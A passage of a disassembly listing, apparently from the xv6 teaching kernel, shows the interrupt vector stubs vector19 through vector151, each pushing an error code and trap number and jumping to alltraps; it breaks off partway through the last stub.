80105a1c: e9 fc f9 ff ff jmp 8010541d <alltraps>
80105a21 <vector19>:
.globl vector19
vector19:
pushl $0
80105a21: 6a 00 push $0x0
pushl $19
80105a23: 6a 13 push $0x13
jmp alltraps
80105a25: e9 f3 f9 ff ff jmp 8010541d <alltraps>
80105a2a <vector20>:
.globl vector20
vector20:
pushl $0
80105a2a: 6a 00 push $0x0
pushl $20
80105a2c: 6a 14 push $0x14
jmp alltraps
80105a2e: e9 ea f9 ff ff jmp 8010541d <alltraps>
80105a33 <vector21>:
.globl vector21
vector21:
pushl $0
80105a33: 6a 00 push $0x0
pushl $21
80105a35: 6a 15 push $0x15
jmp alltraps
80105a37: e9 e1 f9 ff ff jmp 8010541d <alltraps>
80105a3c <vector22>:
.globl vector22
vector22:
pushl $0
80105a3c: 6a 00 push $0x0
pushl $22
80105a3e: 6a 16 push $0x16
jmp alltraps
80105a40: e9 d8 f9 ff ff jmp 8010541d <alltraps>
80105a45 <vector23>:
.globl vector23
vector23:
pushl $0
80105a45: 6a 00 push $0x0
pushl $23
80105a47: 6a 17 push $0x17
jmp alltraps
80105a49: e9 cf f9 ff ff jmp 8010541d <alltraps>
80105a4e <vector24>:
.globl vector24
vector24:
pushl $0
80105a4e: 6a 00 push $0x0
pushl $24
80105a50: 6a 18 push $0x18
jmp alltraps
80105a52: e9 c6 f9 ff ff jmp 8010541d <alltraps>
80105a57 <vector25>:
.globl vector25
vector25:
pushl $0
80105a57: 6a 00 push $0x0
pushl $25
80105a59: 6a 19 push $0x19
jmp alltraps
80105a5b: e9 bd f9 ff ff jmp 8010541d <alltraps>
80105a60 <vector26>:
.globl vector26
vector26:
pushl $0
80105a60: 6a 00 push $0x0
pushl $26
80105a62: 6a 1a push $0x1a
jmp alltraps
80105a64: e9 b4 f9 ff ff jmp 8010541d <alltraps>
80105a69 <vector27>:
.globl vector27
vector27:
pushl $0
80105a69: 6a 00 push $0x0
pushl $27
80105a6b: 6a 1b push $0x1b
jmp alltraps
80105a6d: e9 ab f9 ff ff jmp 8010541d <alltraps>
80105a72 <vector28>:
.globl vector28
vector28:
pushl $0
80105a72: 6a 00 push $0x0
pushl $28
80105a74: 6a 1c push $0x1c
jmp alltraps
80105a76: e9 a2 f9 ff ff jmp 8010541d <alltraps>
80105a7b <vector29>:
.globl vector29
vector29:
pushl $0
80105a7b: 6a 00 push $0x0
pushl $29
80105a7d: 6a 1d push $0x1d
jmp alltraps
80105a7f: e9 99 f9 ff ff jmp 8010541d <alltraps>
80105a84 <vector30>:
.globl vector30
vector30:
pushl $0
80105a84: 6a 00 push $0x0
pushl $30
80105a86: 6a 1e push $0x1e
jmp alltraps
80105a88: e9 90 f9 ff ff jmp 8010541d <alltraps>
80105a8d <vector31>:
.globl vector31
vector31:
pushl $0
80105a8d: 6a 00 push $0x0
pushl $31
80105a8f: 6a 1f push $0x1f
jmp alltraps
80105a91: e9 87 f9 ff ff jmp 8010541d <alltraps>
80105a96 <vector32>:
.globl vector32
vector32:
pushl $0
80105a96: 6a 00 push $0x0
pushl $32
80105a98: 6a 20 push $0x20
jmp alltraps
80105a9a: e9 7e f9 ff ff jmp 8010541d <alltraps>
80105a9f <vector33>:
.globl vector33
vector33:
pushl $0
80105a9f: 6a 00 push $0x0
pushl $33
80105aa1: 6a 21 push $0x21
jmp alltraps
80105aa3: e9 75 f9 ff ff jmp 8010541d <alltraps>
80105aa8 <vector34>:
.globl vector34
vector34:
pushl $0
80105aa8: 6a 00 push $0x0
pushl $34
80105aaa: 6a 22 push $0x22
jmp alltraps
80105aac: e9 6c f9 ff ff jmp 8010541d <alltraps>
80105ab1 <vector35>:
.globl vector35
vector35:
pushl $0
80105ab1: 6a 00 push $0x0
pushl $35
80105ab3: 6a 23 push $0x23
jmp alltraps
80105ab5: e9 63 f9 ff ff jmp 8010541d <alltraps>
80105aba <vector36>:
.globl vector36
vector36:
pushl $0
80105aba: 6a 00 push $0x0
pushl $36
80105abc: 6a 24 push $0x24
jmp alltraps
80105abe: e9 5a f9 ff ff jmp 8010541d <alltraps>
80105ac3 <vector37>:
.globl vector37
vector37:
pushl $0
80105ac3: 6a 00 push $0x0
pushl $37
80105ac5: 6a 25 push $0x25
jmp alltraps
80105ac7: e9 51 f9 ff ff jmp 8010541d <alltraps>
80105acc <vector38>:
.globl vector38
vector38:
pushl $0
80105acc: 6a 00 push $0x0
pushl $38
80105ace: 6a 26 push $0x26
jmp alltraps
80105ad0: e9 48 f9 ff ff jmp 8010541d <alltraps>
80105ad5 <vector39>:
.globl vector39
vector39:
pushl $0
80105ad5: 6a 00 push $0x0
pushl $39
80105ad7: 6a 27 push $0x27
jmp alltraps
80105ad9: e9 3f f9 ff ff jmp 8010541d <alltraps>
80105ade <vector40>:
.globl vector40
vector40:
pushl $0
80105ade: 6a 00 push $0x0
pushl $40
80105ae0: 6a 28 push $0x28
jmp alltraps
80105ae2: e9 36 f9 ff ff jmp 8010541d <alltraps>
80105ae7 <vector41>:
.globl vector41
vector41:
pushl $0
80105ae7: 6a 00 push $0x0
pushl $41
80105ae9: 6a 29 push $0x29
jmp alltraps
80105aeb: e9 2d f9 ff ff jmp 8010541d <alltraps>
80105af0 <vector42>:
.globl vector42
vector42:
pushl $0
80105af0: 6a 00 push $0x0
pushl $42
80105af2: 6a 2a push $0x2a
jmp alltraps
80105af4: e9 24 f9 ff ff jmp 8010541d <alltraps>
80105af9 <vector43>:
.globl vector43
vector43:
pushl $0
80105af9: 6a 00 push $0x0
pushl $43
80105afb: 6a 2b push $0x2b
jmp alltraps
80105afd: e9 1b f9 ff ff jmp 8010541d <alltraps>
80105b02 <vector44>:
.globl vector44
vector44:
pushl $0
80105b02: 6a 00 push $0x0
pushl $44
80105b04: 6a 2c push $0x2c
jmp alltraps
80105b06: e9 12 f9 ff ff jmp 8010541d <alltraps>
80105b0b <vector45>:
.globl vector45
vector45:
pushl $0
80105b0b: 6a 00 push $0x0
pushl $45
80105b0d: 6a 2d push $0x2d
jmp alltraps
80105b0f: e9 09 f9 ff ff jmp 8010541d <alltraps>
80105b14 <vector46>:
.globl vector46
vector46:
pushl $0
80105b14: 6a 00 push $0x0
pushl $46
80105b16: 6a 2e push $0x2e
jmp alltraps
80105b18: e9 00 f9 ff ff jmp 8010541d <alltraps>
80105b1d <vector47>:
.globl vector47
vector47:
pushl $0
80105b1d: 6a 00 push $0x0
pushl $47
80105b1f: 6a 2f push $0x2f
jmp alltraps
80105b21: e9 f7 f8 ff ff jmp 8010541d <alltraps>
80105b26 <vector48>:
.globl vector48
vector48:
pushl $0
80105b26: 6a 00 push $0x0
pushl $48
80105b28: 6a 30 push $0x30
jmp alltraps
80105b2a: e9 ee f8 ff ff jmp 8010541d <alltraps>
80105b2f <vector49>:
.globl vector49
vector49:
pushl $0
80105b2f: 6a 00 push $0x0
pushl $49
80105b31: 6a 31 push $0x31
jmp alltraps
80105b33: e9 e5 f8 ff ff jmp 8010541d <alltraps>
80105b38 <vector50>:
.globl vector50
vector50:
pushl $0
80105b38: 6a 00 push $0x0
pushl $50
80105b3a: 6a 32 push $0x32
jmp alltraps
80105b3c: e9 dc f8 ff ff jmp 8010541d <alltraps>
80105b41 <vector51>:
.globl vector51
vector51:
pushl $0
80105b41: 6a 00 push $0x0
pushl $51
80105b43: 6a 33 push $0x33
jmp alltraps
80105b45: e9 d3 f8 ff ff jmp 8010541d <alltraps>
80105b4a <vector52>:
.globl vector52
vector52:
pushl $0
80105b4a: 6a 00 push $0x0
pushl $52
80105b4c: 6a 34 push $0x34
jmp alltraps
80105b4e: e9 ca f8 ff ff jmp 8010541d <alltraps>
80105b53 <vector53>:
.globl vector53
vector53:
pushl $0
80105b53: 6a 00 push $0x0
pushl $53
80105b55: 6a 35 push $0x35
jmp alltraps
80105b57: e9 c1 f8 ff ff jmp 8010541d <alltraps>
80105b5c <vector54>:
.globl vector54
vector54:
pushl $0
80105b5c: 6a 00 push $0x0
pushl $54
80105b5e: 6a 36 push $0x36
jmp alltraps
80105b60: e9 b8 f8 ff ff jmp 8010541d <alltraps>
80105b65 <vector55>:
.globl vector55
vector55:
pushl $0
80105b65: 6a 00 push $0x0
pushl $55
80105b67: 6a 37 push $0x37
jmp alltraps
80105b69: e9 af f8 ff ff jmp 8010541d <alltraps>
80105b6e <vector56>:
.globl vector56
vector56:
pushl $0
80105b6e: 6a 00 push $0x0
pushl $56
80105b70: 6a 38 push $0x38
jmp alltraps
80105b72: e9 a6 f8 ff ff jmp 8010541d <alltraps>
80105b77 <vector57>:
.globl vector57
vector57:
pushl $0
80105b77: 6a 00 push $0x0
pushl $57
80105b79: 6a 39 push $0x39
jmp alltraps
80105b7b: e9 9d f8 ff ff jmp 8010541d <alltraps>
80105b80 <vector58>:
.globl vector58
vector58:
pushl $0
80105b80: 6a 00 push $0x0
pushl $58
80105b82: 6a 3a push $0x3a
jmp alltraps
80105b84: e9 94 f8 ff ff jmp 8010541d <alltraps>
80105b89 <vector59>:
.globl vector59
vector59:
pushl $0
80105b89: 6a 00 push $0x0
pushl $59
80105b8b: 6a 3b push $0x3b
jmp alltraps
80105b8d: e9 8b f8 ff ff jmp 8010541d <alltraps>
80105b92 <vector60>:
.globl vector60
vector60:
pushl $0
80105b92: 6a 00 push $0x0
pushl $60
80105b94: 6a 3c push $0x3c
jmp alltraps
80105b96: e9 82 f8 ff ff jmp 8010541d <alltraps>
80105b9b <vector61>:
.globl vector61
vector61:
pushl $0
80105b9b: 6a 00 push $0x0
pushl $61
80105b9d: 6a 3d push $0x3d
jmp alltraps
80105b9f: e9 79 f8 ff ff jmp 8010541d <alltraps>
80105ba4 <vector62>:
.globl vector62
vector62:
pushl $0
80105ba4: 6a 00 push $0x0
pushl $62
80105ba6: 6a 3e push $0x3e
jmp alltraps
80105ba8: e9 70 f8 ff ff jmp 8010541d <alltraps>
80105bad <vector63>:
.globl vector63
vector63:
pushl $0
80105bad: 6a 00 push $0x0
pushl $63
80105baf: 6a 3f push $0x3f
jmp alltraps
80105bb1: e9 67 f8 ff ff jmp 8010541d <alltraps>
80105bb6 <vector64>:
.globl vector64
vector64:
pushl $0
80105bb6: 6a 00 push $0x0
pushl $64
80105bb8: 6a 40 push $0x40
jmp alltraps
80105bba: e9 5e f8 ff ff jmp 8010541d <alltraps>
80105bbf <vector65>:
.globl vector65
vector65:
pushl $0
80105bbf: 6a 00 push $0x0
pushl $65
80105bc1: 6a 41 push $0x41
jmp alltraps
80105bc3: e9 55 f8 ff ff jmp 8010541d <alltraps>
80105bc8 <vector66>:
.globl vector66
vector66:
pushl $0
80105bc8: 6a 00 push $0x0
pushl $66
80105bca: 6a 42 push $0x42
jmp alltraps
80105bcc: e9 4c f8 ff ff jmp 8010541d <alltraps>
80105bd1 <vector67>:
.globl vector67
vector67:
pushl $0
80105bd1: 6a 00 push $0x0
pushl $67
80105bd3: 6a 43 push $0x43
jmp alltraps
80105bd5: e9 43 f8 ff ff jmp 8010541d <alltraps>
80105bda <vector68>:
.globl vector68
vector68:
pushl $0
80105bda: 6a 00 push $0x0
pushl $68
80105bdc: 6a 44 push $0x44
jmp alltraps
80105bde: e9 3a f8 ff ff jmp 8010541d <alltraps>
80105be3 <vector69>:
.globl vector69
vector69:
pushl $0
80105be3: 6a 00 push $0x0
pushl $69
80105be5: 6a 45 push $0x45
jmp alltraps
80105be7: e9 31 f8 ff ff jmp 8010541d <alltraps>
80105bec <vector70>:
.globl vector70
vector70:
pushl $0
80105bec: 6a 00 push $0x0
pushl $70
80105bee: 6a 46 push $0x46
jmp alltraps
80105bf0: e9 28 f8 ff ff jmp 8010541d <alltraps>
80105bf5 <vector71>:
.globl vector71
vector71:
pushl $0
80105bf5: 6a 00 push $0x0
pushl $71
80105bf7: 6a 47 push $0x47
jmp alltraps
80105bf9: e9 1f f8 ff ff jmp 8010541d <alltraps>
80105bfe <vector72>:
.globl vector72
vector72:
pushl $0
80105bfe: 6a 00 push $0x0
pushl $72
80105c00: 6a 48 push $0x48
jmp alltraps
80105c02: e9 16 f8 ff ff jmp 8010541d <alltraps>
80105c07 <vector73>:
.globl vector73
vector73:
pushl $0
80105c07: 6a 00 push $0x0
pushl $73
80105c09: 6a 49 push $0x49
jmp alltraps
80105c0b: e9 0d f8 ff ff jmp 8010541d <alltraps>
80105c10 <vector74>:
.globl vector74
vector74:
pushl $0
80105c10: 6a 00 push $0x0
pushl $74
80105c12: 6a 4a push $0x4a
jmp alltraps
80105c14: e9 04 f8 ff ff jmp 8010541d <alltraps>
80105c19 <vector75>:
.globl vector75
vector75:
pushl $0
80105c19: 6a 00 push $0x0
pushl $75
80105c1b: 6a 4b push $0x4b
jmp alltraps
80105c1d: e9 fb f7 ff ff jmp 8010541d <alltraps>
80105c22 <vector76>:
.globl vector76
vector76:
pushl $0
80105c22: 6a 00 push $0x0
pushl $76
80105c24: 6a 4c push $0x4c
jmp alltraps
80105c26: e9 f2 f7 ff ff jmp 8010541d <alltraps>
80105c2b <vector77>:
.globl vector77
vector77:
pushl $0
80105c2b: 6a 00 push $0x0
pushl $77
80105c2d: 6a 4d push $0x4d
jmp alltraps
80105c2f: e9 e9 f7 ff ff jmp 8010541d <alltraps>
80105c34 <vector78>:
.globl vector78
vector78:
pushl $0
80105c34: 6a 00 push $0x0
pushl $78
80105c36: 6a 4e push $0x4e
jmp alltraps
80105c38: e9 e0 f7 ff ff jmp 8010541d <alltraps>
80105c3d <vector79>:
.globl vector79
vector79:
pushl $0
80105c3d: 6a 00 push $0x0
pushl $79
80105c3f: 6a 4f push $0x4f
jmp alltraps
80105c41: e9 d7 f7 ff ff jmp 8010541d <alltraps>
80105c46 <vector80>:
.globl vector80
vector80:
pushl $0
80105c46: 6a 00 push $0x0
pushl $80
80105c48: 6a 50 push $0x50
jmp alltraps
80105c4a: e9 ce f7 ff ff jmp 8010541d <alltraps>
80105c4f <vector81>:
.globl vector81
vector81:
pushl $0
80105c4f: 6a 00 push $0x0
pushl $81
80105c51: 6a 51 push $0x51
jmp alltraps
80105c53: e9 c5 f7 ff ff jmp 8010541d <alltraps>
80105c58 <vector82>:
.globl vector82
vector82:
pushl $0
80105c58: 6a 00 push $0x0
pushl $82
80105c5a: 6a 52 push $0x52
jmp alltraps
80105c5c: e9 bc f7 ff ff jmp 8010541d <alltraps>
80105c61 <vector83>:
.globl vector83
vector83:
pushl $0
80105c61: 6a 00 push $0x0
pushl $83
80105c63: 6a 53 push $0x53
jmp alltraps
80105c65: e9 b3 f7 ff ff jmp 8010541d <alltraps>
80105c6a <vector84>:
.globl vector84
vector84:
pushl $0
80105c6a: 6a 00 push $0x0
pushl $84
80105c6c: 6a 54 push $0x54
jmp alltraps
80105c6e: e9 aa f7 ff ff jmp 8010541d <alltraps>
80105c73 <vector85>:
.globl vector85
vector85:
pushl $0
80105c73: 6a 00 push $0x0
pushl $85
80105c75: 6a 55 push $0x55
jmp alltraps
80105c77: e9 a1 f7 ff ff jmp 8010541d <alltraps>
80105c7c <vector86>:
.globl vector86
vector86:
pushl $0
80105c7c: 6a 00 push $0x0
pushl $86
80105c7e: 6a 56 push $0x56
jmp alltraps
80105c80: e9 98 f7 ff ff jmp 8010541d <alltraps>
80105c85 <vector87>:
.globl vector87
vector87:
pushl $0
80105c85: 6a 00 push $0x0
pushl $87
80105c87: 6a 57 push $0x57
jmp alltraps
80105c89: e9 8f f7 ff ff jmp 8010541d <alltraps>
80105c8e <vector88>:
.globl vector88
vector88:
pushl $0
80105c8e: 6a 00 push $0x0
pushl $88
80105c90: 6a 58 push $0x58
jmp alltraps
80105c92: e9 86 f7 ff ff jmp 8010541d <alltraps>
80105c97 <vector89>:
.globl vector89
vector89:
pushl $0
80105c97: 6a 00 push $0x0
pushl $89
80105c99: 6a 59 push $0x59
jmp alltraps
80105c9b: e9 7d f7 ff ff jmp 8010541d <alltraps>
80105ca0 <vector90>:
.globl vector90
vector90:
pushl $0
80105ca0: 6a 00 push $0x0
pushl $90
80105ca2: 6a 5a push $0x5a
jmp alltraps
80105ca4: e9 74 f7 ff ff jmp 8010541d <alltraps>
80105ca9 <vector91>:
.globl vector91
vector91:
pushl $0
80105ca9: 6a 00 push $0x0
pushl $91
80105cab: 6a 5b push $0x5b
jmp alltraps
80105cad: e9 6b f7 ff ff jmp 8010541d <alltraps>
80105cb2 <vector92>:
.globl vector92
vector92:
pushl $0
80105cb2: 6a 00 push $0x0
pushl $92
80105cb4: 6a 5c push $0x5c
jmp alltraps
80105cb6: e9 62 f7 ff ff jmp 8010541d <alltraps>
80105cbb <vector93>:
.globl vector93
vector93:
pushl $0
80105cbb: 6a 00 push $0x0
pushl $93
80105cbd: 6a 5d push $0x5d
jmp alltraps
80105cbf: e9 59 f7 ff ff jmp 8010541d <alltraps>
80105cc4 <vector94>:
.globl vector94
vector94:
pushl $0
80105cc4: 6a 00 push $0x0
pushl $94
80105cc6: 6a 5e push $0x5e
jmp alltraps
80105cc8: e9 50 f7 ff ff jmp 8010541d <alltraps>
80105ccd <vector95>:
.globl vector95
vector95:
pushl $0
80105ccd: 6a 00 push $0x0
pushl $95
80105ccf: 6a 5f push $0x5f
jmp alltraps
80105cd1: e9 47 f7 ff ff jmp 8010541d <alltraps>
80105cd6 <vector96>:
.globl vector96
vector96:
pushl $0
80105cd6: 6a 00 push $0x0
pushl $96
80105cd8: 6a 60 push $0x60
jmp alltraps
80105cda: e9 3e f7 ff ff jmp 8010541d <alltraps>
80105cdf <vector97>:
.globl vector97
vector97:
pushl $0
80105cdf: 6a 00 push $0x0
pushl $97
80105ce1: 6a 61 push $0x61
jmp alltraps
80105ce3: e9 35 f7 ff ff jmp 8010541d <alltraps>
80105ce8 <vector98>:
.globl vector98
vector98:
pushl $0
80105ce8: 6a 00 push $0x0
pushl $98
80105cea: 6a 62 push $0x62
jmp alltraps
80105cec: e9 2c f7 ff ff jmp 8010541d <alltraps>
80105cf1 <vector99>:
.globl vector99
vector99:
pushl $0
80105cf1: 6a 00 push $0x0
pushl $99
80105cf3: 6a 63 push $0x63
jmp alltraps
80105cf5: e9 23 f7 ff ff jmp 8010541d <alltraps>
80105cfa <vector100>:
.globl vector100
vector100:
pushl $0
80105cfa: 6a 00 push $0x0
pushl $100
80105cfc: 6a 64 push $0x64
jmp alltraps
80105cfe: e9 1a f7 ff ff jmp 8010541d <alltraps>
80105d03 <vector101>:
.globl vector101
vector101:
pushl $0
80105d03: 6a 00 push $0x0
pushl $101
80105d05: 6a 65 push $0x65
jmp alltraps
80105d07: e9 11 f7 ff ff jmp 8010541d <alltraps>
80105d0c <vector102>:
.globl vector102
vector102:
pushl $0
80105d0c: 6a 00 push $0x0
pushl $102
80105d0e: 6a 66 push $0x66
jmp alltraps
80105d10: e9 08 f7 ff ff jmp 8010541d <alltraps>
80105d15 <vector103>:
.globl vector103
vector103:
pushl $0
80105d15: 6a 00 push $0x0
pushl $103
80105d17: 6a 67 push $0x67
jmp alltraps
80105d19: e9 ff f6 ff ff jmp 8010541d <alltraps>
80105d1e <vector104>:
.globl vector104
vector104:
pushl $0
80105d1e: 6a 00 push $0x0
pushl $104
80105d20: 6a 68 push $0x68
jmp alltraps
80105d22: e9 f6 f6 ff ff jmp 8010541d <alltraps>
80105d27 <vector105>:
.globl vector105
vector105:
pushl $0
80105d27: 6a 00 push $0x0
pushl $105
80105d29: 6a 69 push $0x69
jmp alltraps
80105d2b: e9 ed f6 ff ff jmp 8010541d <alltraps>
80105d30 <vector106>:
.globl vector106
vector106:
pushl $0
80105d30: 6a 00 push $0x0
pushl $106
80105d32: 6a 6a push $0x6a
jmp alltraps
80105d34: e9 e4 f6 ff ff jmp 8010541d <alltraps>
80105d39 <vector107>:
.globl vector107
vector107:
pushl $0
80105d39: 6a 00 push $0x0
pushl $107
80105d3b: 6a 6b push $0x6b
jmp alltraps
80105d3d: e9 db f6 ff ff jmp 8010541d <alltraps>
80105d42 <vector108>:
.globl vector108
vector108:
pushl $0
80105d42: 6a 00 push $0x0
pushl $108
80105d44: 6a 6c push $0x6c
jmp alltraps
80105d46: e9 d2 f6 ff ff jmp 8010541d <alltraps>
80105d4b <vector109>:
.globl vector109
vector109:
pushl $0
80105d4b: 6a 00 push $0x0
pushl $109
80105d4d: 6a 6d push $0x6d
jmp alltraps
80105d4f: e9 c9 f6 ff ff jmp 8010541d <alltraps>
80105d54 <vector110>:
.globl vector110
vector110:
pushl $0
80105d54: 6a 00 push $0x0
pushl $110
80105d56: 6a 6e push $0x6e
jmp alltraps
80105d58: e9 c0 f6 ff ff jmp 8010541d <alltraps>
80105d5d <vector111>:
.globl vector111
vector111:
pushl $0
80105d5d: 6a 00 push $0x0
pushl $111
80105d5f: 6a 6f push $0x6f
jmp alltraps
80105d61: e9 b7 f6 ff ff jmp 8010541d <alltraps>
80105d66 <vector112>:
.globl vector112
vector112:
pushl $0
80105d66: 6a 00 push $0x0
pushl $112
80105d68: 6a 70 push $0x70
jmp alltraps
80105d6a: e9 ae f6 ff ff jmp 8010541d <alltraps>
80105d6f <vector113>:
.globl vector113
vector113:
pushl $0
80105d6f: 6a 00 push $0x0
pushl $113
80105d71: 6a 71 push $0x71
jmp alltraps
80105d73: e9 a5 f6 ff ff jmp 8010541d <alltraps>
80105d78 <vector114>:
.globl vector114
vector114:
pushl $0
80105d78: 6a 00 push $0x0
pushl $114
80105d7a: 6a 72 push $0x72
jmp alltraps
80105d7c: e9 9c f6 ff ff jmp 8010541d <alltraps>
80105d81 <vector115>:
.globl vector115
vector115:
pushl $0
80105d81: 6a 00 push $0x0
pushl $115
80105d83: 6a 73 push $0x73
jmp alltraps
80105d85: e9 93 f6 ff ff jmp 8010541d <alltraps>
80105d8a <vector116>:
.globl vector116
vector116:
pushl $0
80105d8a: 6a 00 push $0x0
pushl $116
80105d8c: 6a 74 push $0x74
jmp alltraps
80105d8e: e9 8a f6 ff ff jmp 8010541d <alltraps>
80105d93 <vector117>:
.globl vector117
vector117:
pushl $0
80105d93: 6a 00 push $0x0
pushl $117
80105d95: 6a 75 push $0x75
jmp alltraps
80105d97: e9 81 f6 ff ff jmp 8010541d <alltraps>
80105d9c <vector118>:
.globl vector118
vector118:
pushl $0
80105d9c: 6a 00 push $0x0
pushl $118
80105d9e: 6a 76 push $0x76
jmp alltraps
80105da0: e9 78 f6 ff ff jmp 8010541d <alltraps>
80105da5 <vector119>:
.globl vector119
vector119:
pushl $0
80105da5: 6a 00 push $0x0
pushl $119
80105da7: 6a 77 push $0x77
jmp alltraps
80105da9: e9 6f f6 ff ff jmp 8010541d <alltraps>
80105dae <vector120>:
.globl vector120
vector120:
pushl $0
80105dae: 6a 00 push $0x0
pushl $120
80105db0: 6a 78 push $0x78
jmp alltraps
80105db2: e9 66 f6 ff ff jmp 8010541d <alltraps>
80105db7 <vector121>:
.globl vector121
vector121:
pushl $0
80105db7: 6a 00 push $0x0
pushl $121
80105db9: 6a 79 push $0x79
jmp alltraps
80105dbb: e9 5d f6 ff ff jmp 8010541d <alltraps>
80105dc0 <vector122>:
.globl vector122
vector122:
pushl $0
80105dc0: 6a 00 push $0x0
pushl $122
80105dc2: 6a 7a push $0x7a
jmp alltraps
80105dc4: e9 54 f6 ff ff jmp 8010541d <alltraps>
80105dc9 <vector123>:
.globl vector123
vector123:
pushl $0
80105dc9: 6a 00 push $0x0
pushl $123
80105dcb: 6a 7b push $0x7b
jmp alltraps
80105dcd: e9 4b f6 ff ff jmp 8010541d <alltraps>
80105dd2 <vector124>:
.globl vector124
vector124:
pushl $0
80105dd2: 6a 00 push $0x0
pushl $124
80105dd4: 6a 7c push $0x7c
jmp alltraps
80105dd6: e9 42 f6 ff ff jmp 8010541d <alltraps>
80105ddb <vector125>:
.globl vector125
vector125:
pushl $0
80105ddb: 6a 00 push $0x0
pushl $125
80105ddd: 6a 7d push $0x7d
jmp alltraps
80105ddf: e9 39 f6 ff ff jmp 8010541d <alltraps>
80105de4 <vector126>:
.globl vector126
vector126:
pushl $0
80105de4: 6a 00 push $0x0
pushl $126
80105de6: 6a 7e push $0x7e
jmp alltraps
80105de8: e9 30 f6 ff ff jmp 8010541d <alltraps>
80105ded <vector127>:
.globl vector127
vector127:
pushl $0
80105ded: 6a 00 push $0x0
pushl $127
80105def: 6a 7f push $0x7f
jmp alltraps
80105df1: e9 27 f6 ff ff jmp 8010541d <alltraps>
80105df6 <vector128>:
.globl vector128
vector128:
pushl $0
80105df6: 6a 00 push $0x0
pushl $128
80105df8: 68 80 00 00 00 push $0x80
jmp alltraps
80105dfd: e9 1b f6 ff ff jmp 8010541d <alltraps>
80105e02 <vector129>:
.globl vector129
vector129:
pushl $0
80105e02: 6a 00 push $0x0
pushl $129
80105e04: 68 81 00 00 00 push $0x81
jmp alltraps
80105e09: e9 0f f6 ff ff jmp 8010541d <alltraps>
80105e0e <vector130>:
.globl vector130
vector130:
pushl $0
80105e0e: 6a 00 push $0x0
pushl $130
80105e10: 68 82 00 00 00 push $0x82
jmp alltraps
80105e15: e9 03 f6 ff ff jmp 8010541d <alltraps>
80105e1a <vector131>:
.globl vector131
vector131:
pushl $0
80105e1a: 6a 00 push $0x0
pushl $131
80105e1c: 68 83 00 00 00 push $0x83
jmp alltraps
80105e21: e9 f7 f5 ff ff jmp 8010541d <alltraps>
80105e26 <vector132>:
.globl vector132
vector132:
pushl $0
80105e26: 6a 00 push $0x0
pushl $132
80105e28: 68 84 00 00 00 push $0x84
jmp alltraps
80105e2d: e9 eb f5 ff ff jmp 8010541d <alltraps>
80105e32 <vector133>:
.globl vector133
vector133:
pushl $0
80105e32: 6a 00 push $0x0
pushl $133
80105e34: 68 85 00 00 00 push $0x85
jmp alltraps
80105e39: e9 df f5 ff ff jmp 8010541d <alltraps>
80105e3e <vector134>:
.globl vector134
vector134:
pushl $0
80105e3e: 6a 00 push $0x0
pushl $134
80105e40: 68 86 00 00 00 push $0x86
jmp alltraps
80105e45: e9 d3 f5 ff ff jmp 8010541d <alltraps>
80105e4a <vector135>:
.globl vector135
vector135:
pushl $0
80105e4a: 6a 00 push $0x0
pushl $135
80105e4c: 68 87 00 00 00 push $0x87
jmp alltraps
80105e51: e9 c7 f5 ff ff jmp 8010541d <alltraps>
80105e56 <vector136>:
.globl vector136
vector136:
pushl $0
80105e56: 6a 00 push $0x0
pushl $136
80105e58: 68 88 00 00 00 push $0x88
jmp alltraps
80105e5d: e9 bb f5 ff ff jmp 8010541d <alltraps>
80105e62 <vector137>:
.globl vector137
vector137:
pushl $0
80105e62: 6a 00 push $0x0
pushl $137
80105e64: 68 89 00 00 00 push $0x89
jmp alltraps
80105e69: e9 af f5 ff ff jmp 8010541d <alltraps>
80105e6e <vector138>:
.globl vector138
vector138:
pushl $0
80105e6e: 6a 00 push $0x0
pushl $138
80105e70: 68 8a 00 00 00 push $0x8a
jmp alltraps
80105e75: e9 a3 f5 ff ff jmp 8010541d <alltraps>
80105e7a <vector139>:
.globl vector139
vector139:
pushl $0
80105e7a: 6a 00 push $0x0
pushl $139
80105e7c: 68 8b 00 00 00 push $0x8b
jmp alltraps
80105e81: e9 97 f5 ff ff jmp 8010541d <alltraps>
80105e86 <vector140>:
.globl vector140
vector140:
pushl $0
80105e86: 6a 00 push $0x0
pushl $140
80105e88: 68 8c 00 00 00 push $0x8c
jmp alltraps
80105e8d: e9 8b f5 ff ff jmp 8010541d <alltraps>
80105e92 <vector141>:
.globl vector141
vector141:
pushl $0
80105e92: 6a 00 push $0x0
pushl $141
80105e94: 68 8d 00 00 00 push $0x8d
jmp alltraps
80105e99: e9 7f f5 ff ff jmp 8010541d <alltraps>
80105e9e <vector142>:
.globl vector142
vector142:
pushl $0
80105e9e: 6a 00 push $0x0
pushl $142
80105ea0: 68 8e 00 00 00 push $0x8e
jmp alltraps
80105ea5: e9 73 f5 ff ff jmp 8010541d <alltraps>
80105eaa <vector143>:
.globl vector143
vector143:
pushl $0
80105eaa: 6a 00 push $0x0
pushl $143
80105eac: 68 8f 00 00 00 push $0x8f
jmp alltraps
80105eb1: e9 67 f5 ff ff jmp 8010541d <alltraps>
80105eb6 <vector144>:
.globl vector144
vector144:
pushl $0
80105eb6: 6a 00 push $0x0
pushl $144
80105eb8: 68 90 00 00 00 push $0x90
jmp alltraps
80105ebd: e9 5b f5 ff ff jmp 8010541d <alltraps>
80105ec2 <vector145>:
.globl vector145
vector145:
pushl $0
80105ec2: 6a 00 push $0x0
pushl $145
80105ec4: 68 91 00 00 00 push $0x91
jmp alltraps
80105ec9: e9 4f f5 ff ff jmp 8010541d <alltraps>
80105ece <vector146>:
.globl vector146
vector146:
pushl $0
80105ece: 6a 00 push $0x0
pushl $146
80105ed0: 68 92 00 00 00 push $0x92
jmp alltraps
80105ed5: e9 43 f5 ff ff jmp 8010541d <alltraps>
80105eda <vector147>:
.globl vector147
vector147:
pushl $0
80105eda: 6a 00 push $0x0
pushl $147
80105edc: 68 93 00 00 00 push $0x93
jmp alltraps
80105ee1: e9 37 f5 ff ff jmp 8010541d <alltraps>
80105ee6 <vector148>:
.globl vector148
vector148:
pushl $0
80105ee6: 6a 00 push $0x0
pushl $148
80105ee8: 68 94 00 00 00 push $0x94
jmp alltraps
80105eed: e9 2b f5 ff ff jmp 8010541d <alltraps>
80105ef2 <vector149>:
.globl vector149
vector149:
pushl $0
80105ef2: 6a 00 push $0x0
pushl $149
80105ef4: 68 95 00 00 00 push $0x95
jmp alltraps
80105ef9: e9 1f f5 ff ff jmp 8010541d <alltraps>
80105efe <vector150>:
.globl vector150
vector150:
pushl $0
80105efe: 6a 00 push $0x0
pushl $150
80105f00: 68 96 00 00 00 push $0x96
jmp alltraps
80105f05: e9 13 f5 ff ff jmp 8010541d <alltraps>
80105f0a <vector151>:
.globl vector151
vector151:
pushl $0
80105f0a: 6a 00 push $0x0
